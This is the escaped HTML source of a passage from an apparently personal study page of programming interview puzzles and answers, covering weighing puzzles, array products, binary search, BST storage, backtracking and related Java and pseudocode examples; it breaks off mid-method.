     &lt;li&gt;If they are un-equal. Take the two balls from the heavier pan and weigh them against each other. the heavier is the culprit. In case they are equal then the one left unweighted from the first heavier pan is the culprit.&lt;/li&gt;
&lt;/ol&gt;     
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt37b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;37.b.&lt;/b&gt; You have 5 jars of pills. Each pill weighs 10 gram, except for contaminated pills contained in one jar, where each pill weighs 9 gm. Given a scale, how could you tell which jar had the contaminated pills in just one measurement? 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt37b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Take one pill from first, two from second, three from third and so on. Total pills are n(n+1)/2 and should weigh 10n(n+1)/2. If it weighs x gm less than that then the x&apos;th jar is contaminated, since we took x pills from that jar which weighed 1 gm less.     
&lt;/p&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://www.coolinterview.com/interview/48082/&quot;&gt;http://www.coolinterview.com/interview/48082/&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt37c&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;37.c.&lt;/b&gt; You have 12 balls. All of them are identical except one, which is either heavier or lighter than the rest - it is either hollow while the rest are solid, 
or solid while the rest are hollow. You have a simple two-armed scale, and are permitted three weighings. Can you identify the odd ball, and determine whether it is hollow or solid.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt37c&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Let the balls be numbered 1 to 12.
&lt;/p&gt;
&lt;p&gt;
Weigh 1, 2, 3, 4 vs. 5, 6, 7, 8 with three possible outcomes:
&lt;/p&gt;
&lt;ol&gt;
    &lt;li&gt;
	If they balance, then 9,10,11,12 have the odd ball, so weigh 6,7,8 vs. 9,10,11 with three possible outcomes:
	&lt;ol&gt;
&lt;li&gt;If 6,7,8 vs. 9,10,11 balances, 12 is the odd ball. Weigh it against any other ball to determine if it&apos;s heavy or light.&lt;/li&gt;
&lt;li&gt;If 9,10,11 is heavy, then they contain a heavy ball. Weigh 9 vs. 10. If balanced, then 11 is the odd heavy ball, or else the heavier of 9 or 10 is the odd heavy ball.&lt;/li&gt;
&lt;li&gt;If 9,10,11 is light, then they contain a light ball. Weigh 9 vs. 10. If balanced, then 11 is the odd light ball, or else the lighter of 9 or 10 is the odd light ball.&lt;/li&gt;
    &lt;/ol&gt;&lt;/li&gt;
    &lt;li&gt;
	If 5,6,7,8 &gt; 1,2,3,4 then either 5,6,7,8 contains a heavy ball or 1,2,3,4 contains a light ball so weigh 1,2,5 vs. 3,6,12 with three possible outcomes:
	&lt;ol&gt;
&lt;li&gt;If 1,2,5 vs. 3,6,12 balances, then either 4 is the odd light ball or 7 or 8 is the odd heavy ball. Weigh 7 vs 8, if they balance then 4 is the odd light ball, or the heaviest of 7 vs 8 is the odd heavy ball.&lt;/li&gt;
&lt;li&gt;If 3,6,12 is heavy, then either 6 is the odd heavy ball or 1 or 2 is the odd light ball. Weigh 1 vs. 2. If balanced, then 6 is the odd heavy ball, or else the lightest of 1 vs. 2 is the odd light ball.&lt;/li&gt;
&lt;li&gt;If 3,6,12 is light, then either 3 is light or 5 is heavy. Weigh 3 against any other ball. If balanced, then 5 is the odd heavy ball, or else 3 is the odd light ball.&lt;/li&gt;
    &lt;/ol&gt;&lt;/li&gt;
    &lt;li&gt;
	If 1,2,3,4 &gt; 5,6,7,8 then either 1,2,3,4 contains a heavy ball or 5,6,7,8 contains a light ball so weigh 5,6,1 vs. 7,2,12 with three possible outcomes:
	&lt;ol&gt;
&lt;li&gt;If 5,6,1 vs. 7,2,12 balances, then either 8 is the odd light ball or 3 or 4 is the odd heavy ball. Weigh 3 vs 4. If balanced, then 8 is the odd light ball, or else the heaviest of 3 vs. 4 is the odd heavy ball.&lt;/li&gt;
&lt;li&gt;If 7,2,12 is heavy, then either 2 is the odd heavy ball or 5 or 6 is the odd light ball. Weigh 5 vs. 6. If balanced, then 2 is the odd heavy ball, or else the lightest of 5 vs. 6 is the odd light ball.&lt;/li&gt;
&lt;li&gt;If 7,2,12 is light, then either 7 is light or 1 is heavy. Weigh 7 against any other ball. If balanced, then 1 is the odd heavy ball, or else 7 is the odd light ball. &lt;/li&gt;
    &lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
Source : &lt;br&gt;
&lt;a href=&quot;http://www.globalguideline.com/interview_questions/Answer.php?a=You_have_12_balls_All_of_them_are_identical_except_one_which_is_either_heavier_or_lighter_than_the_rest&quot;&gt;http://www.globalguideline.com/interview_questions/Answer.php?a=You_have_12_balls_All_of_them_are_identical_except_one_which_is_either_heavier_or_lighter_than_the_rest&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt38&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;38.&lt;/b&gt; There is an array A[N] of N numbers. You have to compose an array Output[N] such that Output[i] will be equal to multiplication of all the elements of A[N] except A[i]. For example Output[0] will be multiplication of A[1] to A[N-1] and Output[1] will be multiplication of A[0] and from A[2] to A[N-1]. Solve it without division operator and in O(n).
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt38&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;i&gt;Note : same question : You are given an array [a1 To an] and we have to construct another array [b1 To bn] where bi = a1*a2*...*an/ai. you are allowed to use only constant space and the time complexity is O(n). No divisions are allowed.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;

Since the complexity required is O(n), the obvious O(n^2) brute force solution is not good enough here. Since the brute force solution recompute the multiplication each time again and again, we can avoid this by storing the results temporarily in an array.
&lt;/p&gt;
&lt;p&gt;
First we construct an array B where element B[i] = multiplication of numbers from A[n] to A[i]. For example, if A = {4, 3, 2, 1, 2}, then B = {48, 12, 4, 2, 2}.  The array B is built by browsing A from right to left, eac B[i] = A[i] * B[i + 1].&lt;br&gt; 
Then, we scan the array A from left to right, and have a temporary variable called product which stores the multiplication from left to right so far. Calculating OUTPUT[i] is straight forward, as OUTPUT[i] = B[i + 1] * product.
&lt;/p&gt;
&lt;p&gt;
Hence the following akgorithm, in Java:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;import&lt;/b&gt; java.util.Arrays;

&lt;b&gt;public class&lt;/b&gt; TestMult {

     &lt;b&gt;public static void&lt;/b&gt; main(String[] args) {
          &lt;b&gt;int&lt;/b&gt;[] mult = multiplyArray (new &lt;b&gt;int&lt;/b&gt;[] {4, 3, 2, 1, 2});
          System.out.println (Arrays.toString(mult));
     }

     &lt;b&gt;private static int&lt;/b&gt;[] multiplyArray(&lt;b&gt;int&lt;/b&gt;[] in) {
          &lt;b&gt;int&lt;/b&gt;[] temp = &lt;b&gt;new int&lt;/b&gt;[in.length];
          &lt;b&gt;int&lt;/b&gt;[] out = &lt;b&gt;new int&lt;/b&gt;[in.length];
          temp[in.length - 1] = in[in.length - 1];
          &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = in.length - 2; i &gt;= 0; i--) {
                temp[i] = temp[i + 1] * in[i];
          }
          //System.out.println (Arrays.toString(temp));
          &lt;b&gt;int&lt;/b&gt; prod = 1;
          &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; in.length - 1; i++) {
                out[i] = temp[i + 1] * prod;
                prod = prod * in[i];
          }
          out[in.length - 1] = prod;
          &lt;b&gt;return&lt;/b&gt; out;
     }

}
&lt;/pre&gt;
&lt;p&gt;
The above method requires only O(n) time but uses O(n) space. We have to trade memory for speed. 
&lt;/p&gt;
&lt;p&gt;
Is there a better way? (i.e., runs in O(n) time but without extra space?)
&lt;/p&gt;
&lt;p&gt;
Yes, actually the temporary table is not required. We can have two variables called left and right, each keeping track of the product of numbers multiplied from 
left-&gt;right and right-&gt;left. &lt;br&gt;
Can you see why this works without extra space?
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;void&lt;/b&gt; array_multiplication(&lt;b&gt;int&lt;/b&gt; A[], &lt;b&gt;int&lt;/b&gt; OUTPUT[], &lt;b&gt;int&lt;/b&gt; n) {
     &lt;b&gt;int&lt;/b&gt; left = 1;
     &lt;b&gt;int&lt;/b&gt; right = 1;
     &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; n; i++)
     OUTPUT[i] = 1;
     &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; n; i++) {
          OUTPUT[i] *= left;
          OUTPUT[n - 1 - i] *= right;
          left *= A[i];
          right *= A[n - 1 - i];
     }
}
&lt;/pre&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://leetcode.com/2010/04/multiplication-of-numbers.html&quot;&gt;http://leetcode.com/2010/04/multiplication-of-numbers.html&lt;/a&gt;.
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt39&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;39.&lt;/b&gt; Find or determine non existence of a number in a sorted list of N numbers where the numbers range over M, M&gt;&gt; N and N large enough to span multiple disks. Algorithm to beat O(log n) bonus points for constant time algorithm.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt39&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
I would try binary search which typically works in O(log n)
&lt;a id=&quot;binary_search&quot;&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
A binary search is a search algorithm that operates by selecting between two distinct alternatives (dichotomies) at each step. It is a specific type of divide and conquer algorithm. &lt;br&gt;
A binary search or half-interval search algorithm finds the position of a specified value (the input &quot;key&quot;) within a sorted array. In each step, the algorithm compares the input key value with the key value of the middle element of the array. If the keys match, then a matching element has been found so its index, or position, is returned. Otherwise, if the sought key is less than the middle element&apos;s key, then the algorithm repeats its action on the sub-array to the left of the middle element or, if the input key is greater, on the sub-array to the right. If the remaining array to be searched is reduced to zero, then the key cannot be found in the array and a special &quot;Not found&quot; indication is returned.
&lt;/p&gt;
&lt;p&gt;
An algorithm that works this way:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;function&lt;/b&gt; find (files, n) 
     target &amp;lt;- NULL
     &lt;b&gt;for each&lt;/b&gt; file in files
          &lt;b&gt;if&lt;/b&gt; last number in file &gt; n &lt;b&gt;then&lt;/b&gt;
                target &amp;lt;- file
                &lt;b&gt;break&lt;/b&gt;
     &lt;b&gt;return&lt;/b&gt; find (file, n, 0, length(file))
     
&lt;b&gt;function&lt;/b&gt; find (file, n, startIdx, endIdx)      
     span &amp;lt;- (endIdx - startIdx) / 2
     &lt;b&gt;if&lt;/b&gt; span = 0 then
          return not found;
     index &amp;lt;- span + startIdx
     number_at_idx = file(index)
     &lt;b&gt;if&lt;/b&gt; span == 1 &lt;b&gt;then&lt;/b&gt;
          &lt;b&gt;if&lt;/b&gt; number_at_idx == n &lt;b&gt;then&lt;/b&gt;
                &lt;b&gt;return&lt;/b&gt; found
          &lt;b&gt;else&lt;/b&gt;
                &lt;b&gt;return&lt;/b&gt; not found     
     
     &lt;b&gt;if&lt;/b&gt; number_at_idx &amp;lt; n &lt;b&gt;then&lt;/b&gt;
          &lt;b&gt;return&lt;/b&gt; find (file, n, index + 1, endIdx)
     &lt;b&gt;else&lt;/b&gt;
          &lt;b&gt;return&lt;/b&gt; find (file, n, startIdx, index - 1)
&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt40&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;40.&lt;/b&gt; How do you put a Binary Search Tree in an array in a efficient manner. &lt;br&gt;
Hint : If the node is stored at the ith position and its children are at 2i and 2i+1(I mean level order wise) Its not the most efficient way.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt40&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
First let&apos;s try the ith * 2 position trick:
&lt;/p&gt;
&lt;pre&gt;
            3
          / \
         2    8
        /    / \
      1    5    9
          / \    \
         4    6  10 
        
index : 1  2  3  4  5  6  7  8  9  10 11 12 13 14 15 16 17 18 19 20
value : 3  2  8  1      5  9                    4  6     10
&lt;/pre&gt;
&lt;p&gt;
Indeed it&apos;s not the most efficient way in terms of space usage wince it leaves a lot of emtpy elements within the array.
&lt;/p&gt;
&lt;p&gt;
Another &lt;b&gt;better&lt;/b&gt; idea:
&lt;/p&gt;
&lt;p&gt;
If you want to be able to reconstruct the tree as it stands, you can simply store the BST nodes in the array using a pre-order traversal. &lt;br&gt;
When you want to rebuild the tree just walk through the array in order, adding the nodes normally, and the tree will end up just like it was before.
&lt;/p&gt;
&lt;p&gt;
This example tree would be stored as { 3, 2, 1, 8, 5, 4, 6, 9, 10 } - there is no need for empty elements to be represented in the array.
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt41&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;41.&lt;/b&gt; How do you find out the fifth maximum element in an Binary Search Tree in efficient manner. &lt;br&gt;
Note: You should not use use any extra space. i.e sorting Binary Search Tree and storing the results in an array and listing out the fifth element.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt41&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
The simpliest is to use &quot;reverse inorder&quot; and stop after the fifth element is encounterd. Iterative way seems preferable over recursive way:
&lt;/p&gt;
&lt;pre&gt;
findFifthMaximal(node)
  // from iterativeReverseInorder
  parentStack = empty stack
  &lt;b&gt;int&lt;/b&gt; counter = 0;
  &lt;b&gt;while not&lt;/b&gt; parentStack.isEmpty() &lt;b&gt;or&lt;/b&gt; node != null
     &lt;b&gt;if&lt;/b&gt; node != null &lt;b&gt;then&lt;/b&gt;
        parentStack.push(node)
        node = node.right
     &lt;b&gt;else&lt;/b&gt;
        node = parentStack.pop()
        counter++;
        &lt;b&gt;if&lt;/b&gt; counter == 5 &lt;b&gt;then&lt;/b&gt;
             &lt;b&gt;return&lt;/b&gt; node
        node = node.left
  &lt;b&gt;return&lt;/b&gt; null
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt42&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;42.&lt;/b&gt; Given a Data Structure having first n integers and next n chars. A = i1 i2 i3 -&gt; iN c1 c2 c3 -&gt; cN. &lt;br&gt;
Write an in-place algorithm to rearrange the elements of the array as A = i1 c1 i2 c2 -&gt; in cn&lt;br&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt42&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;If the data structure is an array&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Single way I found is by cheating. I&apos;m using the stack as a memory (hence a O(n) space complexity)
&lt;/p&gt;
&lt;pre&gt;
// 1 2 3 4 a b c d 
// 1 a 2 b 3 c 4 d

rearrange (array)
  N = length(array) / 2
  i = 1
  move(array, i, N)

move (array, i, N) 
  num_pos = i 
  num_target_pos = i * 2 - 1
  char_pos = N + i
  char_target_pos = i * 2
  num = array[num_pos]
  char = array[char_pos]
  &lt;b&gt;if&lt;/b&gt; (i &amp;lt; N) {
        move (array, i + 1, N)
  } 
  array[num_target_pos] &amp;lt;- num
  array[char_target_pos] &amp;lt;- char
&lt;/pre&gt;
&lt;p&gt;
&lt;b&gt;If the data structure is a Linked List, things get a lot easier since we can insert at random location&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Use an algorithm working this way:
&lt;/p&gt;
&lt;pre&gt;
rearrange (node)
    // locate first character
    cPointer = node
    &lt;b&gt;while&lt;/b&gt; pointer.value &lt;b&gt;is&lt;/b&gt; number &lt;b&gt;do&lt;/b&gt;
        cPointer = cPointer.next
    &lt;b&gt;done&lt;/b&gt;
    &lt;b&gt;while&lt;/b&gt; node &lt;b&gt;is not null do&lt;/b&gt;
        nextNum = node.next
        node.next = cPointer
        cPointer = cPointer.next // have next char here
        node.next.next = nextNum
        node = nextNum;
    &lt;b&gt;done&lt;/b&gt;
&lt;/pre&gt;
&lt;p&gt;
Proof of work:
&lt;/p&gt;
&lt;pre&gt;
 0   : 1  2  3  4  a  b  c  d
       n           c

 1   : 1  a  2  3  4           b  c  d
             n                 c
             
 2   : 1  a  2  b  3  4        c  d
                   n           c             
                   
 3   : 1  a  2  b  3  c  4     d 
                         n     c

 4   : 1  a  2  b  3  c  4  d 
&lt;/pre&gt;
&lt;p&gt;
Runs in time complexity O(n) and space complexity O(1)
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt43&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;43.&lt;/b&gt; Use basic operations to create a square root function.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt43&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;First approach : use binary search&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
One can use a binary search like approach between the numbers between 1 and the target number until x * x = N.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Second approach : Babylonian method : &lt;/b&gt;
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;function&lt;/b&gt; sqrt(N)
    oldguess = -1
    guess = 1
    &lt;b&gt;while&lt;/b&gt; abs(guess-oldguess) &gt; 1 &lt;b&gt;do&lt;/b&gt;
        oldguess = guess
        guess = (guess + N/guess) / 2
    &lt;b&gt;return&lt;/b&gt; guess
&lt;/pre&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt44&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;44.&lt;/b&gt; Given a file of 4 billion 32-bit integers, how to find one that appears at least twice?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt44&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Two approaches:
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;1. Use in place quick sort to order the data&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Then one only needs an additional O(n) browse of the data to find duplicates
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;2. Use a data structure of 2^32 x 1 bit to check whether a specific number has already been encountered&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Which would need around 4.3 G bit of memory = ~ 512Mb of RAM provided one writes an efficient data structure. &lt;br&gt;
It also requires a language that supports bitwise operations.
&lt;/p&gt;
&lt;p&gt;
Implementation is easy in Java using a BitSet instance.
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt45&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;45.&lt;/b&gt; Write a program for displaying the ten most frequent words in a file such that your program should be efficient in all complexity measures.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt45&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Use either a B-Tree or a Hash Index to store the words. Instead of the word, store a structure which associates to the word the number of times it has been encounterd. 
&lt;/p&gt;
&lt;p&gt;
Once that structure is built, browse every data and build a second structure indexed by counts.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt46a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;46.a.&lt;/b&gt; What is bactracking as an algorithmic technique ? &lt;br&gt;
Give an example algorithm.&lt;br&gt;
&lt;span style=&quot;color: green&quot;&gt;[Backtracking principle]&lt;/span&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt46a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Backtracking is a general algorithm for finding all (or some) solutions to some computational problem, that incrementally builds candidates to the solutions, and abandons each partial candidate c (&quot;backtracks&quot;) as soon as it determines that c cannot possibly be completed to a valid solution.
&lt;/p&gt;
&lt;p&gt;
Backtracking can be applied only for problems which admit the concept of a &quot;partial candidate solution&quot; and a relatively quick test of whether it can possibly be completed to a valid solution. It is useless, for example, for locating a given value in an unordered table. When it is applicable, however, backtracking is often much faster than brute force enumeration of all complete candidates, since it can eliminate a large number of candidates with a single test.
&lt;/p&gt;
&lt;p&gt;
Backtracking is an important tool for solving constraint satisfaction problems, such as crosswords, verbal arithmetic, Sudoku, and many other puzzles. It is often the most convenient (if not the most efficient) technique for parsing, for the knapsack problem and other combinatorial optimization problems.
&lt;/p&gt;
&lt;p&gt;
Backtracking depends on user-given &quot;black box procedures&quot; that define the problem to be solved, the nature of the partial candidates, and how they are extended into complete candidates. It is therefore a metaheuristic rather than a specific algorithm - although, unlike many other meta-heuristics, it is guaranteed to find all solutions to a finite problem in a bounded amount of time.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Description of the method&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The backtracking algorithm enumerates a set of partial candidates that, in principle, could be completed in various ways to give all the possible solutions to the given problem. The completion is done incrementally, by a sequence of candidate extension steps.
&lt;/p&gt;
&lt;p&gt;
Conceptually, the partial candidates are the nodes of a tree structure, the potential search tree. Each partial candidate is the parent of the candidates that differ from it by a single extension step; the leaves of the tree are the partial candidates that cannot be extended any further.
&lt;/p&gt;
&lt;p&gt;
The backtracking algorithm traverses this search tree recursively, from the root down, in depth-first order. At each node c, the algorithm checks whether c can be completed to a valid solution. If it cannot, the whole sub-tree rooted at c is skipped (pruned). Otherwise, the algorithm (1) checks whether c itself is a valid solution, and if so reports it to the user; and (2) recursively enumerates all sub-trees of c. The two tests and the children of each node are defined by user-given procedures.
&lt;/p&gt;
&lt;p&gt;
Therefore, the actual search tree that is traversed by the algorithm is only a part of the potential tree. The total cost of the algorithm is the number of nodes of the actual tree times the cost of obtaining and processing each node. This fact should be considered when choosing the potential search tree and implementing the pruning test.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Pseudo code&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
In order to apply backtracking to a specific class of problems, one must provide the data P for the particular instance of the problem that is to be solved, and six procedural parameters, root, reject, accept, first, next, and output. These procedures should take the instance data P as a parameter and should do the following:
&lt;/p&gt;
&lt;ol&gt;
    &lt;li&gt;&lt;code&gt;root(P)&lt;/code&gt;: return the partial candidate at the root of the search tree.&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;reject(P,c)&lt;/code&gt;: return true only if the partial candidate &lt;i&gt;c&lt;/i&gt; is not worth completing.&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;accept(P,c)&lt;/code&gt;: return true if &lt;i&gt;c&lt;/i&gt; is a solution of &lt;i&gt;P&lt;/i&gt;, and false otherwise.&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;first(P,c)&lt;/code&gt;: generate the first extension of candidate &lt;i&gt;c&lt;/i&gt;.&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;next(P,s)&lt;/code&gt;: generate the next alternative extension of a candidate, after the extension &lt;i&gt;s&lt;/i&gt;.&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;output(P,c)&lt;/code&gt;: use the solution &lt;i&gt;c&lt;/i&gt; of &lt;i&gt;P&lt;/i&gt;, as appropriate to the application.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
The backtracking algorithm reduces then to the call &lt;code&gt;bt(root(P))&lt;/code&gt;, where &lt;code&gt;bt&lt;/code&gt; is the following recursive procedure:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;procedure&lt;/b&gt; bt(c)
     &lt;b&gt;if&lt;/b&gt; reject(P,c) &lt;b&gt;then return&lt;/b&gt;
     &lt;b&gt;if&lt;/b&gt; accept(P,c) &lt;b&gt;then&lt;/b&gt; output(P,c)
     s &amp;lt;- first(P,c)
     &lt;b&gt;while&lt;/b&gt; s is not &quot;&lt;i&gt;the null candidate&lt;/i&gt;&quot; &lt;b&gt;do&lt;/b&gt;
         bt(s)
         s &amp;lt;- next(P,s)
&lt;/pre&gt;
&lt;p&gt;
(Note : the pseudo-code above will call output for all candidates that are a solution to the given instance P)
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Usage considerations:&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The reject procedure should be a boolean-valued function that returns true only if it is certain that no possible extension of c is a valid solution for P. If the procedure cannot reach a definite conclusion, it should return false. An incorrect true result may cause the bt procedure to miss some valid solutions. The procedure may assume that reject(P,t) returned false for every ancestor t of c in the search tree.
&lt;/p&gt;
&lt;p&gt;
On the other hand, the efficiency of the backtracking algorithm depends on reject returning true for candidates that are as close to the root as possible. If reject always returns false, the algorithm will still find all solutions, but it will be equivalent to a brute-force search.
&lt;/p&gt;
&lt;p&gt;
The accept procedure should return true if c is a complete and valid solution for the problem instance P, and false otherwise. It may assume that the partial candidate c and all its ancestors in the tree have passed the reject test.
&lt;/p&gt;
&lt;p&gt;
Note that the general pseudo-code above does not assume that the valid solutions are always leaves of the potential search tree. In other words, it admits the possibility that a valid solution for P can be further extended to yield other valid solutions.
&lt;/p&gt;
&lt;p&gt;
The first and next procedures are used by the backtracking algorithm to enumerate the children of a node c of the tree, that is, the candidates that differ from c by a single extension step. The call first(P,c) should yield the first child of c, in some order; and the call next(P,s) should return the next sibling of node s, in that order. Both functions should return a distinctive &quot;null&quot; candidate, denoted here by &quot;&lt;i&gt;the null candidate&lt;/i&gt;&quot;, if the requested child does not exist.
&lt;/p&gt;
&lt;p&gt;
Together, the root, first, and next functions define the set of partial candidates and the potential search tree. They should be chosen so that every solution of P occurs somewhere in the tree, and no partial candidate occurs more than once. Moreover, they should admit an efficient and effective reject predicate.
&lt;/p&gt;
&lt;p&gt;
(Source on wikipedia : &lt;a href=&quot;http://en.wikipedia.org/wiki/Backtracking&quot;&gt;http://en.wikipedia.org/wiki/Backtracking&lt;/a&gt;)
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt46b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;46.b&lt;/b&gt; Given an integer, return all sequences of numbers that sum to it. (Example: 3 -&gt; (1, 2), (2, 1), (1, 1, 1))&lt;br&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt46b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
I&apos;m using here a backtracking method (rather to illustrate a simple case yet standard case of backtracking).&lt;br&gt;
Implementation is in Java:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;public class&lt;/b&gt; NumberSumSolver {
    
    &lt;b&gt;final int&lt;/b&gt; targetNumber;

    &lt;b&gt;private final&lt;/b&gt; Map&amp;lt;String, Boolean&gt; printedSolMap = &lt;b&gt;new&lt;/b&gt; HashMap&amp;lt;String, Boolean&gt;();

    NumberSumSolver (&lt;b&gt;int&lt;/b&gt; targetNumber) {
        &lt;b&gt;this&lt;/b&gt;.targetNumber = targetNumber;
    }

    &lt;b&gt;private void&lt;/b&gt; printSolutionIfNotAlready(&lt;b&gt;int&lt;/b&gt;[] numberOfNumbers) {
        String key = Arrays.toString(numberOfNumbers);
        &lt;b&gt;if&lt;/b&gt; (!printedSolMap.containsKey(key)) {
            printedSolMap.put (key, Boolean.TRUE);
            StringBuilder solBuild = &lt;b&gt;new&lt;/b&gt; StringBuilder();
            &lt;b&gt;boolean&lt;/b&gt; first = &lt;b&gt;true&lt;/b&gt;;
            &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; numberOfNumbers.length; i++) {
                &lt;b&gt;if&lt;/b&gt; (numberOfNumbers[i] != 0) {
                    if (!first) {
                        solBuild.append (&quot; + &quot;);
                    }
                    solBuild.append (i + 1);
                    solBuild.append (&quot; x &quot;);
                    solBuild.append (numberOfNumbers[i]);
                    first = &lt;b&gt;false&lt;/b&gt;;
                }
            }
            System.out.println (solBuild);
        }
